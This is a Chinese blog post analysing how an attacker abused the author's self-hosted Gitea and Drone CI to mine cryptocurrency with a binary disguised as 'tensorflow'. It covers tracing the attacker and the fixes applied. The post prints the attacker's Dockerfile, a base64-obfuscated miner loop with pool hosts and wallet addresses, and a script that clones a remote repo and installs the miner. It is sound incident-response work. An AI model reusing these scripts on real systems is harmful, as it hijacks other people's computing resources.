记一次自建 Gitea + Drone 实例被挖矿的经历

背景

从 2021 年的 11 月开始,我自建了一个 Gitea 实例,作为我个人使用的代码托管服务。

也许你可以会问,为什么你不直接去用 GitHub 呢?

那当然是为了代码的「自主可控」,万一哪天 GitHub 不开心把我的帐号咔嚓了,代码除了本地有的就都丢了。

P 牛前几天也写了篇 文章 ,分享了他因为 Fork 了版权项目导致整个帐号被封的经历。

Gitea 说完了,Drone 则是一个第三方的 CI/CD 组件,我可以通过 Drone 进行代码的自动测试、发布到线上等等,类似与 Github Actions 服务。

发现问题

我的每台 VPS 都有装 Node Exporter,然后机器的基础数据会被 Prometheus 统一收集起来,然后用 Grafana 对数据作可视化。

说来也巧,我平时一般都不看 Grafana 的,昨晚也就突然想到就上去看看,然后被我发现了其中一台服务器的 CPU 异常地高。

刚开始我还以为只是单纯的我的某个进程炸了,死循环之类的导致的 CPU 跑满,直到我上机器一看。

./tensorflow --disable-gpu --algorithm curvehash --pool stratum+tcps://stratum-eu.rplant.xyz:17030 --wallet PD99SWYLZ1jpe4szvbom3NNZPLLMjxLxPe --worker Intel(R)_Xeon(R)_CPU_E3-1275_v5_@_3.60GHz-8_Threads --cpu-threads 8 --cpu-threads-intensity 1

敲了一下 top 命令,长这个样子了

两眼一黑,没想到我也有被黑的一天

入侵途径

我对我的机器还是比较有信心的,最起码,SSH 弱口令是不存在的,你甚至不能通过密码 SSH 登陆到服务器。

敲了一手 systemd-cgls 看看这个 tensorflow 进程在哪个 cgroups 下面,一般这样能很容易确定进程的上下文是什么。

输出有点长,我精简一下就是

Control group /:
-.slice
└─system.slice
  ├─docker.service …
  │ ├─1662832 /usr/local/bin/containerd-shim-runc-v2 -namespace moby -id 5714b1c3fbee1de4241271bdf6f547d04c6405d976f5b8dc5500a069c39809ea -address /var/run/docker/containerd/containerd.sock
  │ ├─1662853 /bin/sh -c nohup bash direct.sh > /dev/null
  │ ├─1662894 bash direct.sh
  │ ├─1662896 bash
  │ └─1662907 ./tensorflow --disable-gpu --algorithm curvehash ...

很明显,这个 tensorflow 是一个跑在 Docker 容器里的程序

看了看进程信息,通过 ppid 一直向上追,看到了这个可疑的 Drone 构建任务

任务的 git 地址来源于我的 Gitea 实例里面的一个用户,项目地址是 https://git.esd.cc/wajinhakim/dyn.git

很快啊,我上去就是 禁用用户 + 受限 二连,先把他号给扬了

项目分析

完整 git commit log 如下

commit b60b1e2b311159a2691c9237d6fb7d33b3206321 (HEAD -> master, origin/master, origin/HEAD)
Author: GALAL AYMEN <dorian24@iblawyermu.com>
Date:   Fri Mar 4 12:09:14 2022 +0000

    Add new file

commit 98f89021e2a0db7cc61bfe01715c69097b4077f4
Author: GALAL AYMEN <dorian24@iblawyermu.com>
Date:   Fri Mar 4 10:55:09 2022 +0000

    Update direct.sh

commit 35e3c2a7084943bd166c6e19170ef0ecdf1bdb07
Author: GALAL AYMEN <dorian24@iblawyermu.com>
Date:   Thu Mar 3 09:29:07 2022 +0000

    Add new file

commit e2a68599256c5e01888f0082f0b6f67d1228ee79
Author: root <root@byneetdev.localdomain>
Date:   Thu Mar 3 16:26:44 2022 +0700

    new

commit 1147d512d9dbb712b22493ae01cfce0ca46b1324
Author: GALAL AYMEN <dorian24@iblawyermu.com>
Date:   Thu Mar 3 02:14:21 2022 +0000

    Update direct.sh

commit 3182624c3864d150035ff1f5cb371cc8459923ef
Author: GALAL AYMEN <dorian24@iblawyermu.com>
Date:   Mon Feb 28 04:52:55 2022 +0000

    Update direct.sh

commit a2d6e33ae6bc3874fff9f5160427f3f3db4c87a3
Author: GALAL AYMEN <dorian24@iblawyermu.com>
Date:   Sun Feb 27 10:03:40 2022 +0000

    Update direct.sh

commit 045c061360ed51dc79bef21c075129b8c133bdfb
Author: GALAL AYMEN <dorian24@iblawyermu.com>
Date:   Sun Feb 20 13:16:26 2022 +0000

    Update .drone.yml

commit 84257e54425371582a731fb3a4bb094fecf7b6b7
Author: root <root@byneetdev.localdomain>
Date:   Sun Feb 20 20:15:00 2022 +0700

    Initial Commit

2 月 20 号就开始准备了,分别看看项目里面的文件

.drone.yml.gitlab-ci.yml 分别是针对 Drone CI 和 GitLab CI 的构建配置文件,配置的内容功能上来讲都是一样的,都是构建 Docker Image

Dockerfile 内容如下

FROM ubuntu:latest
RUN lscpu
RUN apt-get update -y
RUN apt-get install git -y
RUN git clone https://gitlab.com/galalaymen/dyn.git
WORKDIR /dyn
RUN chmod +x tensorflow direct.sh
RUN nohup bash direct.sh > /dev/null
EXPOSE 8080 8081
ENTRYPOINT ["./tensorflow"]

他甚至还有 gitlab 仓库,甚至现在还能正常打开

主要执行了项目中的 direct.sh 文件,文件内容如下

base64 -d <<< IyEvYmluL3NoCndoaWxlIFsgMSBdOyBkbwouL3RlbnNvcmZsb3cgLS1kaXNhYmxlLWdwdSAtLWFsZ29yaXRobSBjdXJ2ZWhhc2ggLS1wb29sIHN0cmF0dW0rdGNwczovL3N0cmF0dW0tZXUucnBsYW50Lnh5ejoxNzAzMCAtLXdhbGxldCBQRDk5U1dZTFoxanBlNHN6dmJvbTNOTlpQTExNanhMeFBlIC0td29ya2VyICIkKGVjaG8gJChsc2NwdSB8IGdyZXAgJ01vZGVsIG5hbWUnIHwgY3V0IC1mIDIgLWQgIjoiIHwgYXdrICd7JDE9JDF9MScgfCBzZWQgLXIgInMvWycgJ10rL18vZyIpKSItJChlY2hvICQobnByb2MgLS1hbGwpKV9UaHJlYWRzIC0tY3B1LXRocmVhZHMgJChucHJvYyAtLWFsbCkgLS1jcHUtdGhyZWFkcy1pbnRlbnNpdHkgMQpzbGVlcCAxCmRvbmU= | bash

Base64 Decode 之后内容如下

#!/bin/sh
while [ 1 ]; do
./tensorflow --disable-gpu --algorithm curvehash --pool stratum+tcps://stratum-eu.rplant.xyz:17030 --wallet PD99SWYLZ1jpe4szvbom3NNZPLLMjxLxPe --worker "$(echo $(lscpu | grep 'Model name' | cut -f 2 -d ":" | awk '{$1=$1}1' | sed -r "s/[' ']+/_/g"))"-$(echo $(nproc --all))_Threads --cpu-threads $(nproc --all) --cpu-threads-intensity 1
sleep 1
done

简而言之就是调用 ./tensorflow 这个二进制文件进行挖矿,连接矿池 stratum-eu.rplant.xyz:17030,钱包是 PD99SWYLZ1jpe4szvbom3NNZPLLMjxLxPe

把这个二进制文件丢上了 virustotal ,居然没报毒

从这个二进制的参数入手,猜测应该是 SRBMiner-Multi CPU & GPU Miner 这款软件

download.sh 文件是一个从 gifbin.com 下载沙雕 gif 图的脚本,看起来并没有挖矿的要素,更像是作者写着玩的一个脚本…

#!/bin/bash
for i in $(wget -qO- "http://gifbin.com/"random| sed -r "s/^.*(bin\/.+\.gif).*$/\1/m" | grep "^bin"); do wget -c "http://gifbin.com/$i"; filename=`basename $i`; [ `identify $filename | wc -l` -gt 1 ] || rm -f $filename; sleep 1; done;

install.txt 文件同样也是一个 base64 编码之后的脚本,解码如下,是一个从 gitlab 下载相关脚本进行初始化的文件

git clone https://github.com/agussusahnti/dyn-srb.git && \
chmod +x dyn-srb/tensorflow.sh dyn-srb/tensorflow && \
cp dyn-srb/tensorflow.sh tensorflow.sh && \
cp dyn-srb/tensorflow.py tensorflow.py && \
cp dyn-srb/tensorflow.ipynb tensorflow.ipynb && \
cp dyn-srb/tensorflow /usr/bin/tensorflow && \
rm -Rf dyn-srb

tensorflow.ipynb 调用 tensorflow.py 调用 tensorflow.sh

tensorflow.sh 则是另外一个矿池的启动脚本

#!/bin/sh
while [ 1 ]; do
tensorflow --disable-gpu --algorithm curvehash --pool stratum+tcp://curvehash.eu.mine.zergpool.com:3343 --wallet RE7pAEDehVB9G6wJiv4gx2TjZ71eqSsBJY --password c=RVN,mc=PLSR,m=party.RE7pAEDehVB9G6wJiv4gx2TjZ71eqSsBJY,ID=$(echo $(hostname)) --cpu-threads 1
sleep 1
done

连接矿池 curvehash.eu.mine.zergpool.com:3343,钱包 RE7pAEDehVB9G6wJiv4gx2TjZ71eqSsBJY

说完了项目里面的文件,再说说他的挖矿脚本是怎么在我的服务器上面跑起来的。

上面也提到了我的 Gitea 是有自动构建功能的,攻击者去 Drone 构建平台激活了这个项目的自动构建功能,然后就跑起来了

Drone 对每次构建有设置一个默认的超时时间 60 分钟,攻击者利用 Drone 自带的 Cron Jobs 巧妙的每小时运行一次构建,达到了挖矿的持续执行

跑了三/四个小时的挖矿

把他的号在 Gitea 封了之后,CPU 使用率恢复正常

尝试溯源

由于事情发生在 Gitea,于是就先到了 Gitea 管理后台,但是可惜的是,后台并没有太多的日志

wajinhakim
wajinhakim@gmail.com

后台有用的信息只有用户名和注册邮箱,另外邮箱的状态是已激活,因此可以证实这个邮箱即攻击者所使用的邮箱

从 git commit log 当中,可以看到有这么一行作者的信息

Author: root <root@byneetdev.localdomain>

据此可以知道作者所使用的是 Linux 系统进行代码的编写,常用用户是 root,主机名是 byneetdev.localdomain

Author: GALAL AYMEN <dorian24@iblawyermu.com>

iblawyermu.com 用处不大,访问跳转 https://pro.emailondeck.com/ ,一个免费的临时邮箱提供商,名字 GALAL AYMEN 猜测也是乱打的

从 Gitea 的 Access Log 来分析,他是先访问的我的 Drone 系统,然后通过登陆页面来到的 Gitea 实例

可惜的是,我并没有在 Nginx 中给 proxy_pass 传递正确的 IP,因此记录中只能拿到 Nginx 的 IP

整理了一下时间线如下

UTC 时间
2022/03/04 13:14:14 第一次访问我的 Gitea
2022/03/04 13:15:02 注册帐号
2022/03/04 13:15:24 通过邮箱验证
2022/03/04 13:16:00 通过 Oauth 登陆 Drone CI
2022/03/04 13:16:20 通过「仓库迁移」功能新建仓库,目测是把他的 GitLab 项目同步了过来
2022/03/04 13:16:48 目测是最后一次在 Gitea 上面活动

从他的 GitLab 帐号中能找到另外一个项目 https://gitlab.com/galalaymen/jupyter-docker-tunnel

这个项目的 commit 作者则能关联上另外一个邮箱和 GitLab 帐号 https://gitlab.com/agussusahnti

Author: agus susanti <agussusahnti@gmail.com>

这个 GitLab 帐号下有更多的挖矿脚本项目,而且从时间上来说更前了

感兴趣的话自己去看看呗

没有更多的信息,因此这部分到这里先吧~(鸽了鸽了

收益分析

矿池一般来说都会公开钱包的收益,这是为了防止被指责说分配不均的情况,而我们就可以通过矿池的记录看看他究竟赚了多少钱

pool.rplant.xyz PD99SWYLZ1jpe4szvbom3NNZPLLMjxLxPe

一开始找了很久他挖的是什么币,最后通过矿池的端口号 17030 对应上了他挖的是 pulsar

由于没有密码,所以只能看到个总数,看不到我的机器给他挖了多少钱

可以看到这个钱包是从 2022 年 3 月 4 号晚上 6 点 39 分(北京时间)开始有算力,目前的算力是 610.47 KH/s

(这个算力在当前矿池里连前 50 都排不上)

Workers 昨晚看有 60 多台机子,今天看还有 57 台,被通过这个方法搞到的机器也不少

矿池给这个钱包打款了 123.1188 PLSR,矿池余额里还有 6.516 PLSR,加起来算他 12 小时赚了 130 PLSR

在 PLSR 这个币一周暴涨了 174% 的价格下,他 12 小时赚的 130 PLSR 价值 3.5 美元

zergpool.com RE7pAEDehVB9G6wJiv4gx2TjZ71eqSsBJY

https://zergpool.com/?address=RE7pAEDehVB9G6wJiv4gx2TjZ71eqSsBJY

从算力曲线来看,黑客在昨晚 6 点抛弃了这个矿池,转向使用 rplant ,算力在这个时间点有一个很明显的下降

这个矿池会使用 Ravencoin 进行挖矿收益的结算,30 天里赚了 932.53452524 RVN

根据实时币价,他的 932.53452524 RVN 相当于是 48.21 美元

这个矿池没有隐藏 Workers 的信息,现在还有 10 台机器在挖这个矿池

看起来一开始他是把主机名当成 Worker 名,后面改成了 CPU 信息,估计也是方便他看有什么机器吧

修复措施

Nginx

Nginx 这块需要修复的就是后端服务取不到真实 IP 的问题,通过 proxy_set_header 给后端塞一个就行

  location / {
    proxy_pass http://gitea:3000/;
+    proxy_set_header X-Forwarded-For $remote_addr;
  }

Drone

想了想,我的这个自建 Gitea 实例和 Drone 也只有一个人使用的,所以直接关了注册功能一了百了

DRONE_REGISTRATION_CLOSED=true

加一个环境变量,重启搞定

https://docs.drone.io/server/reference/drone-registration-closed/

总结

攻击者主要攻击自建的 Gitea 以及 GitLab 实例,在配置了 CI/CD 系统的情况下,利用你的构建机进行挖矿。

当前挖矿的人可谓是无孔不入,GitHub 以及 GitLab 官方针对挖矿都有一定的限制,像 Drone Cloud 就直接关闭了注册。

攻击者估计就找准了自建的同类服务,这类服务一般很少人管,构建的机器就算 CPU 跑满估计也很久才会被人发现。

于是,自建的服务就成了攻击者的新目标(像我一样)